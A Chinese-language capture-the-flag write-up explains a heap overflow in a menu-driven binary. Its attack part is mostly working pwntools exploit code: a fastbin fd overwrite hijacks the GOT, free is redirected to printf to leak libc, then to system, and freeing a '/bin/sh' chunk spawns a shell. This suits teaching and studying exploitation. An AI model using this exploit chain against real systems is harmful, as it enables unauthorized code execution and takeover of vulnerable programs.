1.常规checksec,开了canary和NX,Partial RELRO。开IDA找漏洞,change函数中存在堆溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #注释头
int v0; // ST08_4 char nptr; // [rsp+20h] [rbp-10h] char buf; // [rsp+10h] [rbp-20h] ---------------------------------------------------------- printf("Please enter the index of servant:"); read(0, &buf, 8uLL); v2 = atoi(&buf); -------------------------------------------------------------- printf("Please enter the length of servant name:", &buf); read(0, &nptr, 8uLL); v0 = atoi(&nptr);
|
可以发现change函数中,并没有检查堆块的大小,我们输入多少,它就认为是多少,所以这里可以制造堆溢出。
2.这题有很多其它漏洞,这里先只利用堆溢出来思考下。
(1)先申请两个chunk,chunk1和chunk2,然后修改chunk1的大小和内容,使得溢出数据,将chunk2的fd改成got表中地址,之后释放掉chunk2,使其在fastbins中的结构为:
1 2 3 4
| #注释头
fastbins->chunk2 chunk2.fd=got_addr。
|
这样就可以再申请chunk_a,chunk_b,这里的chunk_a就是从fastbins中申请回来的chun2,而chunk_b的首地址就是got_addr。之后通过修改chunk_b的内容,这样就可以修改got表中的内容,从而劫持got表。
(2)由于这里引入了printf函数,所以可以将free函数的got表劫持为printf(plt)函数,这样就可以在free一个chunk时制造格式化字符串漏洞,通过修改chunk内容为需要的格式化字符之后,再通过该格式化字符串漏洞泄露栈上某函数的Libc地址,从而计算得到libc基地址,从而计算得到system函数真实地址。
(3)之后再通过上述方法,将free_got劫持为system_real_addr,之后释放一个内容为binsh字符串的chunk,就相当于调用system(“/bin/sh”),从而getshell。
3.开始编写payload
(1)首先确定增删改查函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #注释头
def show(): io.sendlineafter("choice:","1")
def add(length,cont): io.sendlineafter("choice:","2") io.sendlineafter(":",str(length)) io.sendafter(":",cont) sleep(0.01)
def edit(idx,length,cont): io.sendlineafter("choice:","3") io.sendlineafter(":",str(idx)) io.sendlineafter(":",str(length)) io.sendafter(":",cont) sleep(0.01)
def delete(idx): io.sendlineafter("choice:","4") io.sendlineafter(":",str(idx))
|
(2)尝试修改got表,制造格式化字符串溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #申请三个chunk,chunk0,chunk1,chunk2包括之后需要的格式化字符。 add(0x50,'000000') add(0x50,'111111') add(0x10,".%17$p.") #64位程序,将断点下在change函数中的call free,观察此时栈中数据,可以发现从rsp往下数12是libc_main_addr,计算偏移为12+6-1=17.
#释放chunk1,之后修改chunk1的fd位使其指向fakechunk delete(1) edit(0,0x100,flat('0'*0x50,'00000000',0x61,0x601ffa)) #这里两条代码顺序不能改变,因为当chunk1被释放时,其fd位会发生改变,指向0x0,第一个进入fastbins的chunk其fd只要不被修改,一直都是指向0x0。所以需要先释放,再修改,防止之后fd被修改指向0x0。 #现在fastbins为:fastbinsY[0]->chunk1->fakechunk
#连续申请两个chunk,将chunk1和fakechunk申请回来,同时劫持got表,将free函数的got表值改成printf的plt表值,调用plt表中代码,从而调用printf函数。 add(0x50,'xxxxxxxx') add(0x50,flat("\0"*0xe,flat(elf.sym["printf"])[:6]))#get fakechunk,change got
#释放chunk2,触发free函数,也就是劫持后的printf函数,得到栈上地址libc_main_addr,计算得到libc_address delete(2) io.recvuntil(".") temp = io.recvuntil(".",drop=True) libc_address = int(temp,16) - 0x20840
|
(3)再次劫持got表为system函数,释放Binsh字符chunk,getshell
1 2 3 4 5 6 7 8
| #注释头
#这里的chunk3就是fakechunk,也就是got表 edit(3,0x50,flat('\0'*14,flat(libc_address+libc.sym['system'])[:6])) add(0x10,"/bin/sh\0") #由于前一个释放的是chunk2,所以这里再次申请回来的索引还是2,可以多次运行程序尝试就可以知道,当前面某个的chunk为空时,申请的chunk会先填满前面的空的chunk索引。 delete(2) io.interactive()
|
▲制造fakechunk时,需要设置合法的size,不然如果fastbins中的chunk.fd指向fakechunk,而fakechunk的大小又不是该fastbins组中,那么程序会崩溃。所以在最开始设置大小时,就需要好好计算以下,通过调试看看got表中在free函数前能不能找到还没被延迟绑定的函数可以确定计算大小,或者看其它函数的got表最后三位也可以,这样才能制造合法size使得程序不会崩溃。这里用到的0x601ffa就是调试过程中发现能用的,并且还需要填充0xe,也就是14个字节。